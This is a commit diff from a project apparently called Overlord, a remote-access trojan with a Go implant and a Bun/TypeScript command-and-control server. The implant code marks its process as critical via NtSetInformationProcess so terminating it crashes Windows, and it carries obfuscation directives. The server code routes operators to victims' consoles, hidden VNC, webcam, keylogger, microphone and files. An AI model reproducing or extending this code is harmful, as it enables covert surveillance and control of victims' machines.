fix crit process, bun idk wtf it's doing has to be a chang with the 1.3 update. Modularize ws upgrades, fix hvnc not being in types, optimize thumbnail lookups.
This commit is contained in:
@@ -6,6 +6,8 @@ package criticalproc
|
|||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
"log"
|
"log"
|
||||||
|
"runtime"
|
||||||
|
"sync"
|
||||||
"unsafe"
|
"unsafe"
|
||||||
|
|
||||||
"golang.org/x/sys/windows"
|
"golang.org/x/sys/windows"
|
||||||
@@ -14,9 +16,61 @@ import (
|
|||||||
var (
|
var (
|
||||||
modntdll = windows.NewLazySystemDLL("ntdll.dll")
|
modntdll = windows.NewLazySystemDLL("ntdll.dll")
|
||||||
procNtSetInformationProcess = modntdll.NewProc("NtSetInformationProcess")
|
procNtSetInformationProcess = modntdll.NewProc("NtSetInformationProcess")
|
||||||
|
modkernel32 = windows.NewLazySystemDLL("kernel32.dll")
|
||||||
|
procSetConsoleCtrlHandler = modkernel32.NewProc("SetConsoleCtrlHandler")
|
||||||
|
procGetModuleHandleW = modkernel32.NewProc("GetModuleHandleW")
|
||||||
|
moduser32 = windows.NewLazySystemDLL("user32.dll")
|
||||||
|
procRegisterClassExW = moduser32.NewProc("RegisterClassExW")
|
||||||
|
procCreateWindowExW = moduser32.NewProc("CreateWindowExW")
|
||||||
|
procDefWindowProcW = moduser32.NewProc("DefWindowProcW")
|
||||||
|
procGetMessageW = moduser32.NewProc("GetMessageW")
|
||||||
|
procTranslateMessage = moduser32.NewProc("TranslateMessage")
|
||||||
|
procDispatchMessageW = moduser32.NewProc("DispatchMessageW")
|
||||||
|
|
||||||
|
stateMu sync.Mutex
|
||||||
|
breakOnTerminationEnabled bool
|
||||||
|
shutdownHandlerRegistered bool
|
||||||
|
consoleCtrlCallback uintptr
|
||||||
|
shutdownWindowCallback uintptr
|
||||||
)
|
)
|
||||||
|
|
||||||
const processBreakOnTermination = 29
|
const processBreakOnTermination = 29
|
||||||
|
const (
|
||||||
|
ctrlCloseEvent = 2
|
||||||
|
ctrlLogoffEvent = 5
|
||||||
|
ctrlShutdownEvent = 6
|
||||||
|
wmQueryEndSession = 0x0011
|
||||||
|
wmEndSession = 0x0016
|
||||||
|
)
|
||||||
|
|
||||||
|
type wndClassEx struct {
|
||||||
|
cbSize uint32
|
||||||
|
style uint32
|
||||||
|
lpfnWndProc uintptr
|
||||||
|
cbClsExtra int32
|
||||||
|
cbWndExtra int32
|
||||||
|
hInstance windows.Handle
|
||||||
|
hIcon windows.Handle
|
||||||
|
hCursor windows.Handle
|
||||||
|
hbrBackground windows.Handle
|
||||||
|
lpszMenuName *uint16
|
||||||
|
lpszClassName *uint16
|
||||||
|
hIconSm windows.Handle
|
||||||
|
}
|
||||||
|
|
||||||
|
type point struct {
|
||||||
|
x int32
|
||||||
|
y int32
|
||||||
|
}
|
||||||
|
|
||||||
|
type msg struct {
|
||||||
|
hwnd windows.Handle
|
||||||
|
message uint32
|
||||||
|
wParam uintptr
|
||||||
|
lParam uintptr
|
||||||
|
time uint32
|
||||||
|
pt point
|
||||||
|
}
|
||||||
|
|
||||||
func Setup() {
|
func Setup() {
|
||||||
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||||
@@ -32,15 +86,117 @@ func Setup() {
|
|||||||
log.Printf("[criticalproc] failed to set critical process: %v", err)
|
log.Printf("[criticalproc] failed to set critical process: %v", err)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
stateMu.Lock()
|
||||||
|
breakOnTerminationEnabled = true
|
||||||
|
stateMu.Unlock()
|
||||||
|
registerShutdownHandler()
|
||||||
log.Printf("[criticalproc] process marked as critical")
|
log.Printf("[criticalproc] process marked as critical")
|
||||||
}
|
}
|
||||||
|
|
||||||
func Teardown() {
|
func Teardown() {
|
||||||
if !windows.GetCurrentProcessToken().IsElevated() {
|
stateMu.Lock()
|
||||||
|
enabled := breakOnTerminationEnabled
|
||||||
|
stateMu.Unlock()
|
||||||
|
if !enabled {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
if err := ntSetBreakOnTermination(0); err != nil {
|
if err := ntSetBreakOnTermination(0); err != nil {
|
||||||
log.Printf("[criticalproc] failed to unset critical process: %v", err)
|
log.Printf("[criticalproc] failed to unset critical process: %v", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
stateMu.Lock()
|
||||||
|
breakOnTerminationEnabled = false
|
||||||
|
stateMu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
func registerShutdownHandler() {
|
||||||
|
stateMu.Lock()
|
||||||
|
if shutdownHandlerRegistered {
|
||||||
|
stateMu.Unlock()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
shutdownHandlerRegistered = true
|
||||||
|
stateMu.Unlock()
|
||||||
|
|
||||||
|
consoleCtrlCallback = windows.NewCallback(func(ctrlType uint32) uintptr {
|
||||||
|
switch ctrlType {
|
||||||
|
case ctrlCloseEvent, ctrlLogoffEvent, ctrlShutdownEvent:
|
||||||
|
Teardown()
|
||||||
|
}
|
||||||
|
return 0
|
||||||
|
})
|
||||||
|
|
||||||
|
ret, _, err := procSetConsoleCtrlHandler.Call(consoleCtrlCallback, 1)
|
||||||
|
if ret == 0 {
|
||||||
|
log.Printf("[criticalproc] failed to register shutdown handler: %v", err)
|
||||||
|
}
|
||||||
|
go runShutdownWindow()
|
||||||
|
}
|
||||||
|
|
||||||
|
func runShutdownWindow() {
|
||||||
|
runtime.LockOSThread()
|
||||||
|
defer runtime.UnlockOSThread()
|
||||||
|
|
||||||
|
className, err := windows.UTF16PtrFromString("OverlordCriticalProcessShutdownWindow")
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("[criticalproc] failed to create shutdown window class name: %v", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
instance, _, _ := procGetModuleHandleW.Call(0)
|
||||||
|
shutdownWindowCallback = windows.NewCallback(func(hwnd uintptr, msg uint32, wParam uintptr, lParam uintptr) uintptr {
|
||||||
|
switch msg {
|
||||||
|
case wmQueryEndSession:
|
||||||
|
Teardown()
|
||||||
|
return 1
|
||||||
|
case wmEndSession:
|
||||||
|
if wParam != 0 {
|
||||||
|
Teardown()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ret, _, _ := procDefWindowProcW.Call(hwnd, uintptr(msg), wParam, lParam)
|
||||||
|
return ret
|
||||||
|
})
|
||||||
|
|
||||||
|
wc := wndClassEx{
|
||||||
|
cbSize: uint32(unsafe.Sizeof(wndClassEx{})),
|
||||||
|
lpfnWndProc: shutdownWindowCallback,
|
||||||
|
hInstance: windows.Handle(instance),
|
||||||
|
lpszClassName: className,
|
||||||
|
}
|
||||||
|
ret, _, registerErr := procRegisterClassExW.Call(uintptr(unsafe.Pointer(&wc)))
|
||||||
|
if ret == 0 {
|
||||||
|
log.Printf("[criticalproc] failed to register shutdown window class: %v", registerErr)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
hwnd, _, createErr := procCreateWindowExW.Call(
|
||||||
|
0,
|
||||||
|
uintptr(unsafe.Pointer(className)),
|
||||||
|
uintptr(unsafe.Pointer(className)),
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
instance,
|
||||||
|
0,
|
||||||
|
)
|
||||||
|
if hwnd == 0 {
|
||||||
|
log.Printf("[criticalproc] failed to create shutdown window: %v", createErr)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
var message msg
|
||||||
|
for {
|
||||||
|
ret, _, _ := procGetMessageW.Call(uintptr(unsafe.Pointer(&message)), hwnd, 0, 0)
|
||||||
|
if int32(ret) <= 0 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
procTranslateMessage.Call(uintptr(unsafe.Pointer(&message)))
|
||||||
|
procDispatchMessageW.Call(uintptr(unsafe.Pointer(&message)))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -1,5 +1,6 @@
|
|||||||
{
|
{
|
||||||
"lockfileVersion": 1,
|
"lockfileVersion": 1,
|
||||||
|
"configVersion": 0,
|
||||||
"workspaces": {
|
"workspaces": {
|
||||||
"": {
|
"": {
|
||||||
"name": "overlord-server",
|
"name": "overlord-server",
|
||||||
|
|||||||
@@ -130,6 +130,9 @@
|
|||||||
</label>
|
</label>
|
||||||
<span id="codecMode" class="pill pill-ghost text-slate-100 text-xs">Codec: auto</span>
|
<span id="codecMode" class="pill pill-ghost text-slate-100 text-xs">Codec: auto</span>
|
||||||
</div>
|
</div>
|
||||||
|
<label class="mt-2 flex items-center gap-2 text-sm text-slate-200" title="Use GPU desktop duplication (Windows only)">
|
||||||
|
<input type="checkbox" id="duplicationCtrl" /> GPU Capture
|
||||||
|
</label>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="px-4 py-3 border-b border-slate-800">
|
<div class="px-4 py-3 border-b border-slate-800">
|
||||||
@@ -162,9 +165,6 @@
|
|||||||
<label class="flex items-center gap-2 text-sm text-slate-200" title="Show mouse cursor in captured frames">
|
<label class="flex items-center gap-2 text-sm text-slate-200" title="Show mouse cursor in captured frames">
|
||||||
<input type="checkbox" id="cursorCtrl" /> Cursor
|
<input type="checkbox" id="cursorCtrl" /> Cursor
|
||||||
</label>
|
</label>
|
||||||
<label class="flex items-center gap-2 text-sm text-slate-200" title="Use GPU desktop duplication (Windows only)">
|
|
||||||
<input type="checkbox" id="duplicationCtrl" /> GPU Capture
|
|
||||||
</label>
|
|
||||||
<label class="flex items-center gap-2 text-sm text-slate-200 col-span-2" title="Sync clipboard between your browser and the remote machine">
|
<label class="flex items-center gap-2 text-sm text-slate-200 col-span-2" title="Sync clipboard between your browser and the remote machine">
|
||||||
<input type="checkbox" id="clipboardSyncCtrl" /> Clipboard Sync
|
<input type="checkbox" id="clipboardSyncCtrl" /> Clipboard Sync
|
||||||
</label>
|
</label>
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
import type { ClientInfo, ListFilters, ListResult, ClientRole } from "../types";
|
import type { ClientInfo, ListFilters, ListResult, ClientRole } from "../types";
|
||||||
import { hasThumbnail, getThumbnailVersion } from "../thumbnails";
|
import { getThumbnailSummaries } from "../thumbnails";
|
||||||
import { db, dbPath } from "./connection";
|
import { db, dbPath } from "./connection";
|
||||||
import "./schema";
|
import "./schema";
|
||||||
|
|
||||||
@@ -905,48 +905,52 @@ export function listClients(filters: ListFilters): ListResult {
|
|||||||
.all(...params, pageSize, offset);
|
.all(...params, pageSize, offset);
|
||||||
|
|
||||||
const { floodedHwids, floodedHardware, floodedIps } = getFloodSetsWithCache();
|
const { floodedHwids, floodedHardware, floodedIps } = getFloodSetsWithCache();
|
||||||
|
const thumbnailSummaries = getThumbnailSummaries(rows.map((row: any) => row.id));
|
||||||
|
|
||||||
const items = rows.map((c: any) => ({
|
const items = rows.map((c: any) => {
|
||||||
id: c.id,
|
const thumbnail = thumbnailSummaries.get(c.id);
|
||||||
hwid: c.hwid,
|
return {
|
||||||
role: (c.role as ClientRole) || "client",
|
id: c.id,
|
||||||
ip: c.ip || null,
|
hwid: c.hwid,
|
||||||
lastSeen: Number(c.lastSeen) || 0,
|
role: (c.role as ClientRole) || "client",
|
||||||
host: c.host,
|
ip: c.ip || null,
|
||||||
os: c.os || "unknown",
|
lastSeen: Number(c.lastSeen) || 0,
|
||||||
arch: c.arch || "arch?",
|
host: c.host,
|
||||||
version: c.version || "0",
|
os: c.os || "unknown",
|
||||||
user: c.user,
|
arch: c.arch || "arch?",
|
||||||
nickname: c.nickname || null,
|
version: c.version || "0",
|
||||||
customTag: c.customTag || null,
|
user: c.user,
|
||||||
customTagNote: c.customTagNote ?? null,
|
nickname: c.nickname || null,
|
||||||
monitors: c.monitors,
|
customTag: c.customTag || null,
|
||||||
country: c.country || "ZZ",
|
customTagNote: c.customTagNote ?? null,
|
||||||
pingMs: c.pingMs ?? null,
|
monitors: c.monitors,
|
||||||
online: c.online === 1,
|
country: c.country || "ZZ",
|
||||||
bookmarked: c.bookmarked === 1,
|
pingMs: c.pingMs ?? null,
|
||||||
buildTag: c.buildTag || null,
|
online: c.online === 1,
|
||||||
builtByUserId: typeof c.builtByUserId === "number" ? c.builtByUserId : null,
|
bookmarked: c.bookmarked === 1,
|
||||||
enrollmentStatus: c.enrollmentStatus || "pending",
|
buildTag: c.buildTag || null,
|
||||||
publicKey: c.publicKey || null,
|
builtByUserId: typeof c.builtByUserId === "number" ? c.builtByUserId : null,
|
||||||
keyFingerprint: c.keyFingerprint || null,
|
enrollmentStatus: c.enrollmentStatus || "pending",
|
||||||
cpu: c.cpu || null,
|
publicKey: c.publicKey || null,
|
||||||
gpu: c.gpu || null,
|
keyFingerprint: c.keyFingerprint || null,
|
||||||
ram: c.ram || null,
|
cpu: c.cpu || null,
|
||||||
isAdmin: c.isAdmin === 1,
|
gpu: c.gpu || null,
|
||||||
elevation: c.elevation || null,
|
ram: c.ram || null,
|
||||||
permissions: c.permissions ? (() => { try { return JSON.parse(c.permissions); } catch { return null; } })() : null,
|
isAdmin: c.isAdmin === 1,
|
||||||
disconnectReason: c.disconnectReason || null,
|
elevation: c.elevation || null,
|
||||||
disconnectDetail: c.disconnectDetail || null,
|
permissions: c.permissions ? (() => { try { return JSON.parse(c.permissions); } catch { return null; } })() : null,
|
||||||
groupId: typeof c.groupId === "number" ? c.groupId : null,
|
disconnectReason: c.disconnectReason || null,
|
||||||
groupName: c.groupName || null,
|
disconnectDetail: c.disconnectDetail || null,
|
||||||
groupColor: c.groupColor || null,
|
groupId: typeof c.groupId === "number" ? c.groupId : null,
|
||||||
notificationsMuted: c.notificationsMuted === 1,
|
groupName: c.groupName || null,
|
||||||
denyReason: c.denyReason || null,
|
groupColor: c.groupColor || null,
|
||||||
hasThumbnail: hasThumbnail(c.id),
|
notificationsMuted: c.notificationsMuted === 1,
|
||||||
thumbnailVersion: getThumbnailVersion(c.id),
|
denyReason: c.denyReason || null,
|
||||||
suspiciousFlags: computeClientSuspiciousFlags(c, { floodedHwids, floodedHardware, floodedIps }),
|
hasThumbnail: thumbnail?.hasThumbnail ?? false,
|
||||||
}));
|
thumbnailVersion: thumbnail?.thumbnailVersion ?? 0,
|
||||||
|
suspiciousFlags: computeClientSuspiciousFlags(c, { floodedHwids, floodedHardware, floodedIps }),
|
||||||
|
};
|
||||||
|
});
|
||||||
|
|
||||||
return { page, pageSize, total: totalRow.c, online: onlineRow.c, items };
|
return { page, pageSize, total: totalRow.c, online: onlineRow.c, items };
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,8 +1,9 @@
|
|||||||
import { authenticateRequest } from "../../auth";
|
import { authenticateRequest } from "../../auth";
|
||||||
import { logger } from "../../logger";
|
import { logger } from "../../logger";
|
||||||
import { isIpBanned } from "../../db";
|
import { isIpBanned } from "../../db";
|
||||||
import type { FeatureName } from "../../users";
|
import type { FeatureName, UserRole } from "../../users";
|
||||||
import { hasPermission, requireClientAccess, requireFeatureAccess } from "../../rbac";
|
import { hasPermission, requireClientAccess, requireFeatureAccess } from "../../rbac";
|
||||||
|
import type { SocketRole } from "../../sessions/types";
|
||||||
|
|
||||||
type RequestServer = {
|
type RequestServer = {
|
||||||
requestIP: (req: Request) => { address?: string } | null | undefined;
|
requestIP: (req: Request) => { address?: string } | null | undefined;
|
||||||
@@ -57,38 +58,181 @@ function checkOperatorAccess(
|
|||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
type AuthenticatedUser = {
|
||||||
|
userId: number;
|
||||||
|
role: UserRole;
|
||||||
|
};
|
||||||
|
|
||||||
|
type ClientViewerUpgradeRoute = {
|
||||||
|
pattern: RegExp;
|
||||||
|
role: SocketRole;
|
||||||
|
feature: FeatureName;
|
||||||
|
sessionId?: () => string;
|
||||||
|
};
|
||||||
|
|
||||||
|
const clientViewerUpgradeRoutes: ClientViewerUpgradeRoute[] = [
|
||||||
|
{
|
||||||
|
pattern: /^\/api\/clients\/(.+)\/console\/ws$/,
|
||||||
|
role: "console_viewer",
|
||||||
|
feature: "console",
|
||||||
|
sessionId: () => crypto.randomUUID(),
|
||||||
|
},
|
||||||
|
{
|
||||||
|
pattern: /^\/api\/clients\/(.+)\/rd\/ws$/,
|
||||||
|
role: "rd_viewer",
|
||||||
|
feature: "remote_desktop",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
pattern: /^\/api\/clients\/(.+)\/hvnc\/ws$/,
|
||||||
|
role: "hvnc_viewer",
|
||||||
|
feature: "hvnc",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
pattern: /^\/api\/clients\/(.+)\/webcam\/ws$/,
|
||||||
|
role: "webcam_viewer",
|
||||||
|
feature: "webcam",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
pattern: /^\/api\/clients\/(.+)\/files\/ws$/,
|
||||||
|
role: "file_browser_viewer",
|
||||||
|
feature: "file_browser",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
pattern: /^\/api\/clients\/(.+)\/processes\/ws$/,
|
||||||
|
role: "process_viewer",
|
||||||
|
feature: "processes",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
pattern: /^\/api\/clients\/(.+)\/keylogger\/ws$/,
|
||||||
|
role: "keylogger_viewer",
|
||||||
|
feature: "keylogger",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
pattern: /^\/api\/clients\/(.+)\/voice\/ws$/,
|
||||||
|
role: "voice_viewer",
|
||||||
|
feature: "voice",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
pattern: /^\/api\/clients\/(.+)\/desktop-audio\/ws$/,
|
||||||
|
role: "desktop_audio_viewer",
|
||||||
|
feature: "voice",
|
||||||
|
},
|
||||||
|
];
|
||||||
|
|
||||||
|
type GlobalViewerUpgradeRoute = {
|
||||||
|
path: string;
|
||||||
|
role: SocketRole;
|
||||||
|
authorize?: (user: AuthenticatedUser) => Response | null;
|
||||||
|
};
|
||||||
|
|
||||||
|
const globalViewerUpgradeRoutes: GlobalViewerUpgradeRoute[] = [
|
||||||
|
{ path: "/api/notifications/ws", role: "notifications_viewer" },
|
||||||
|
{ path: "/api/dashboard/ws", role: "dashboard_viewer" },
|
||||||
|
{
|
||||||
|
path: "/api/chat/ws",
|
||||||
|
role: "chat_viewer",
|
||||||
|
authorize: (user) =>
|
||||||
|
hasPermission(user.role, "chat:write", user.userId)
|
||||||
|
? null
|
||||||
|
: new Response("Forbidden: Chat access denied", { status: 403 }),
|
||||||
|
},
|
||||||
|
];
|
||||||
|
|
||||||
|
function getRequestIp(req: Request, server: RequestServer): string {
|
||||||
|
return server.requestIP(req)?.address || "";
|
||||||
|
}
|
||||||
|
|
||||||
|
function upgradeOrFail(
|
||||||
|
req: Request,
|
||||||
|
server: RequestServer,
|
||||||
|
data: Record<string, unknown>,
|
||||||
|
): Response {
|
||||||
|
if (server.upgrade(req, { data })) {
|
||||||
|
return new Response();
|
||||||
|
}
|
||||||
|
return new Response("Upgrade failed", { status: 500 });
|
||||||
|
}
|
||||||
|
|
||||||
|
async function authenticateViewerRequest(req: Request): Promise<AuthenticatedUser | Response> {
|
||||||
|
const user = await authenticateRequest(req);
|
||||||
|
if (!user) {
|
||||||
|
return new Response("Unauthorized", { status: 401 });
|
||||||
|
}
|
||||||
|
return user;
|
||||||
|
}
|
||||||
|
|
||||||
|
async function tryClientViewerUpgrade(
|
||||||
|
req: Request,
|
||||||
|
url: URL,
|
||||||
|
server: RequestServer,
|
||||||
|
): Promise<Response | null> {
|
||||||
|
for (const route of clientViewerUpgradeRoutes) {
|
||||||
|
const match = url.pathname.match(route.pattern);
|
||||||
|
if (!match) continue;
|
||||||
|
|
||||||
|
const user = await authenticateViewerRequest(req);
|
||||||
|
if (user instanceof Response) return user;
|
||||||
|
|
||||||
|
if (user.role === "viewer") {
|
||||||
|
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
||||||
|
}
|
||||||
|
|
||||||
|
const clientId = match[1];
|
||||||
|
const denied = checkOperatorAccess(user, clientId, route.feature);
|
||||||
|
if (denied) return denied;
|
||||||
|
|
||||||
|
const data: Record<string, unknown> = {
|
||||||
|
role: route.role,
|
||||||
|
clientId,
|
||||||
|
ip: getRequestIp(req, server),
|
||||||
|
userRole: user.role,
|
||||||
|
userId: user.userId,
|
||||||
|
};
|
||||||
|
if (route.sessionId) {
|
||||||
|
data.sessionId = route.sessionId();
|
||||||
|
}
|
||||||
|
return upgradeOrFail(req, server, data);
|
||||||
|
}
|
||||||
|
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
async function tryGlobalViewerUpgrade(
|
||||||
|
req: Request,
|
||||||
|
url: URL,
|
||||||
|
server: RequestServer,
|
||||||
|
): Promise<Response | null> {
|
||||||
|
if (req.method !== "GET") return null;
|
||||||
|
|
||||||
|
const route = globalViewerUpgradeRoutes.find((candidate) => candidate.path === url.pathname);
|
||||||
|
if (!route) return null;
|
||||||
|
|
||||||
|
const user = await authenticateViewerRequest(req);
|
||||||
|
if (user instanceof Response) return user;
|
||||||
|
|
||||||
|
const denied = route.authorize?.(user);
|
||||||
|
if (denied) return denied;
|
||||||
|
|
||||||
|
return upgradeOrFail(req, server, {
|
||||||
|
role: route.role,
|
||||||
|
clientId: "",
|
||||||
|
ip: getRequestIp(req, server),
|
||||||
|
userRole: user.role,
|
||||||
|
userId: user.userId,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
export async function handleWsUpgradeRoutes(
|
export async function handleWsUpgradeRoutes(
|
||||||
req: Request,
|
req: Request,
|
||||||
url: URL,
|
url: URL,
|
||||||
server: RequestServer,
|
server: RequestServer,
|
||||||
deps: WsUpgradeDeps,
|
deps: WsUpgradeDeps,
|
||||||
): Promise<Response | null> {
|
): Promise<Response | null> {
|
||||||
const ip = server.requestIP(req)?.address || "";
|
const ip = getRequestIp(req, server);
|
||||||
if (isWsRateLimited(ip)) {
|
if (isWsRateLimited(ip)) {
|
||||||
return new Response("Too Many Requests", { status: 429 });
|
return new Response("Too Many Requests", { status: 429 });
|
||||||
}
|
}
|
||||||
|
|
||||||
const consoleWsMatch = url.pathname.match(/^\/api\/clients\/(.+)\/console\/ws$/);
|
|
||||||
if (consoleWsMatch) {
|
|
||||||
const user = await authenticateRequest(req);
|
|
||||||
if (!user) {
|
|
||||||
return new Response("Unauthorized", { status: 401 });
|
|
||||||
}
|
|
||||||
|
|
||||||
if (user.role === "viewer") {
|
|
||||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
|
||||||
}
|
|
||||||
const clientId = consoleWsMatch[1];
|
|
||||||
const denied = checkOperatorAccess(user, clientId, "console");
|
|
||||||
if (denied) return denied;
|
|
||||||
const sessionId = crypto.randomUUID();
|
|
||||||
const ip = server.requestIP(req)?.address || "";
|
|
||||||
if (server.upgrade(req, { data: { role: "console_viewer", clientId, sessionId, ip, userRole: user.role, userId: user.userId } })) {
|
|
||||||
return new Response();
|
|
||||||
}
|
|
||||||
return new Response("Upgrade failed", { status: 500 });
|
|
||||||
}
|
|
||||||
|
|
||||||
const wsMatch = url.pathname.match(/^\/api\/clients\/(.+)\/stream\/ws$/);
|
const wsMatch = url.pathname.match(/^\/api\/clients\/(.+)\/stream\/ws$/);
|
||||||
if (wsMatch) {
|
if (wsMatch) {
|
||||||
logger.info(`[auth] Checking agent authorization for client connection`);
|
logger.info(`[auth] Checking agent authorization for client connection`);
|
||||||
@@ -97,215 +241,18 @@ export async function handleWsUpgradeRoutes(
|
|||||||
}
|
}
|
||||||
const clientId = wsMatch[1];
|
const clientId = wsMatch[1];
|
||||||
const role = "client";
|
const role = "client";
|
||||||
const ip = server.requestIP(req)?.address || "";
|
|
||||||
if (ip && isIpBanned(ip)) {
|
if (ip && isIpBanned(ip)) {
|
||||||
logger.warn(`[auth] Rejected banned IP ${ip} for client ${clientId}`);
|
logger.warn(`[auth] Rejected banned IP ${ip} for client ${clientId}`);
|
||||||
return new Response("Forbidden", { status: 403 });
|
return new Response("Forbidden", { status: 403 });
|
||||||
}
|
}
|
||||||
if (server.upgrade(req, { data: { role, clientId, ip } })) {
|
return upgradeOrFail(req, server, { role, clientId, ip });
|
||||||
return new Response();
|
|
||||||
}
|
|
||||||
return new Response("Upgrade failed", { status: 500 });
|
|
||||||
}
|
}
|
||||||
|
|
||||||
const rdMatch = url.pathname.match(/^\/api\/clients\/(.+)\/rd\/ws$/);
|
const clientViewerResponse = await tryClientViewerUpgrade(req, url, server);
|
||||||
if (rdMatch) {
|
if (clientViewerResponse) return clientViewerResponse;
|
||||||
const user = await authenticateRequest(req);
|
|
||||||
if (!user) {
|
|
||||||
return new Response("Unauthorized", { status: 401 });
|
|
||||||
}
|
|
||||||
|
|
||||||
if (user.role === "viewer") {
|
const globalViewerResponse = await tryGlobalViewerUpgrade(req, url, server);
|
||||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
if (globalViewerResponse) return globalViewerResponse;
|
||||||
}
|
|
||||||
const clientId = rdMatch[1];
|
|
||||||
const denied = checkOperatorAccess(user, clientId, "remote_desktop");
|
|
||||||
if (denied) return denied;
|
|
||||||
const ip = server.requestIP(req)?.address || "";
|
|
||||||
if (server.upgrade(req, { data: { role: "rd_viewer", clientId, ip, userRole: user.role, userId: user.userId } })) {
|
|
||||||
return new Response();
|
|
||||||
}
|
|
||||||
return new Response("Upgrade failed", { status: 500 });
|
|
||||||
}
|
|
||||||
|
|
||||||
const hvncMatch = url.pathname.match(/^\/api\/clients\/(.+)\/hvnc\/ws$/);
|
|
||||||
if (hvncMatch) {
|
|
||||||
const user = await authenticateRequest(req);
|
|
||||||
if (!user) {
|
|
||||||
return new Response("Unauthorized", { status: 401 });
|
|
||||||
}
|
|
||||||
|
|
||||||
if (user.role === "viewer") {
|
|
||||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
|
||||||
}
|
|
||||||
const clientId = hvncMatch[1];
|
|
||||||
const denied = checkOperatorAccess(user, clientId, "hvnc");
|
|
||||||
if (denied) return denied;
|
|
||||||
const ip = server.requestIP(req)?.address || "";
|
|
||||||
if (server.upgrade(req, { data: { role: "hvnc_viewer", clientId, ip, userRole: user.role, userId: user.userId } })) {
|
|
||||||
return new Response();
|
|
||||||
}
|
|
||||||
return new Response("Upgrade failed", { status: 500 });
|
|
||||||
}
|
|
||||||
|
|
||||||
const webcamMatch = url.pathname.match(/^\/api\/clients\/(.+)\/webcam\/ws$/);
|
|
||||||
if (webcamMatch) {
|
|
||||||
const user = await authenticateRequest(req);
|
|
||||||
if (!user) {
|
|
||||||
return new Response("Unauthorized", { status: 401 });
|
|
||||||
}
|
|
||||||
|
|
||||||
if (user.role === "viewer") {
|
|
||||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
|
||||||
}
|
|
||||||
const clientId = webcamMatch[1];
|
|
||||||
const denied = checkOperatorAccess(user, clientId, "webcam");
|
|
||||||
if (denied) return denied;
|
|
||||||
const ip = server.requestIP(req)?.address || "";
|
|
||||||
if (server.upgrade(req, { data: { role: "webcam_viewer", clientId, ip, userRole: user.role, userId: user.userId } })) {
|
|
||||||
return new Response();
|
|
||||||
}
|
|
||||||
return new Response("Upgrade failed", { status: 500 });
|
|
||||||
}
|
|
||||||
|
|
||||||
const fbMatch = url.pathname.match(/^\/api\/clients\/(.+)\/files\/ws$/);
|
|
||||||
if (fbMatch) {
|
|
||||||
const user = await authenticateRequest(req);
|
|
||||||
if (!user) {
|
|
||||||
return new Response("Unauthorized", { status: 401 });
|
|
||||||
}
|
|
||||||
|
|
||||||
if (user.role === "viewer") {
|
|
||||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
|
||||||
}
|
|
||||||
const clientId = fbMatch[1];
|
|
||||||
const denied = checkOperatorAccess(user, clientId, "file_browser");
|
|
||||||
if (denied) return denied;
|
|
||||||
const ip = server.requestIP(req)?.address || "";
|
|
||||||
if (server.upgrade(req, { data: { role: "file_browser_viewer", clientId, ip, userRole: user.role, userId: user.userId } })) {
|
|
||||||
return new Response();
|
|
||||||
}
|
|
||||||
return new Response("Upgrade failed", { status: 500 });
|
|
||||||
}
|
|
||||||
|
|
||||||
const processMatch = url.pathname.match(/^\/api\/clients\/(.+)\/processes\/ws$/);
|
|
||||||
if (processMatch) {
|
|
||||||
const user = await authenticateRequest(req);
|
|
||||||
if (!user) {
|
|
||||||
return new Response("Unauthorized", { status: 401 });
|
|
||||||
}
|
|
||||||
|
|
||||||
if (user.role === "viewer") {
|
|
||||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
|
||||||
}
|
|
||||||
const clientId = processMatch[1];
|
|
||||||
const denied = checkOperatorAccess(user, clientId, "processes");
|
|
||||||
if (denied) return denied;
|
|
||||||
const ip = server.requestIP(req)?.address || "";
|
|
||||||
if (server.upgrade(req, { data: { role: "process_viewer", clientId, ip, userRole: user.role, userId: user.userId } })) {
|
|
||||||
return new Response();
|
|
||||||
}
|
|
||||||
return new Response("Upgrade failed", { status: 500 });
|
|
||||||
}
|
|
||||||
|
|
||||||
const keyloggerMatch = url.pathname.match(/^\/api\/clients\/(.+)\/keylogger\/ws$/);
|
|
||||||
if (keyloggerMatch) {
|
|
||||||
const user = await authenticateRequest(req);
|
|
||||||
if (!user) {
|
|
||||||
return new Response("Unauthorized", { status: 401 });
|
|
||||||
}
|
|
||||||
|
|
||||||
if (user.role === "viewer") {
|
|
||||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
|
||||||
}
|
|
||||||
